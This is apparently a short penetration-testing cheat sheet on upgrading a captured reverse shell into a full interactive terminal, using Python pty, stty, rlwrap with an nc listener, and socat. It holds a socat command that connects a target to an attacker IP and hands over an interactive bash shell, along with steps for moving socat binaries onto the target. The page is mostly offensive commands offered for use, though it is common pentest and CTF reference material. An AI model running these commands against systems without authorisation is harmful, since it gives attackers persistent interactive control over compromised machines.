TTY

TTY

Python (Linux)

  1. Start bash shell via python

python -c 'import pty; pty.spawn("/bin/bash")'
  1. Gain access to term commands (such as clear)

export TERM=xterm
  1. Enable tab autocompletion, arrow keys, CTRL + C to kill processes (instead of shell)

^Z
stty raw -echo; fg

rlwrap (Linux & Windows)

  1. Enables history, tab autocompletion and arrow keys

rlwrap nc -nlvp <port>
  1. (linux only) Further stabilize shell (e.g. for CTRL+C)

^Z
stty raw -echo; fg

Socat (Linux)

Download binaries and transfer to target. https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

Listener

socat TCP-L:<port> FILE:`tty`,raw,echo=0

Connect

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Terminal configuration

Try to sync the terminal with the host, to ensure proper linebreaks etc.

Get info (attacker machine)

stty -a

Configure (target machine)

export TERM=xterm
stty rows <rows> columns <cols>

Last updated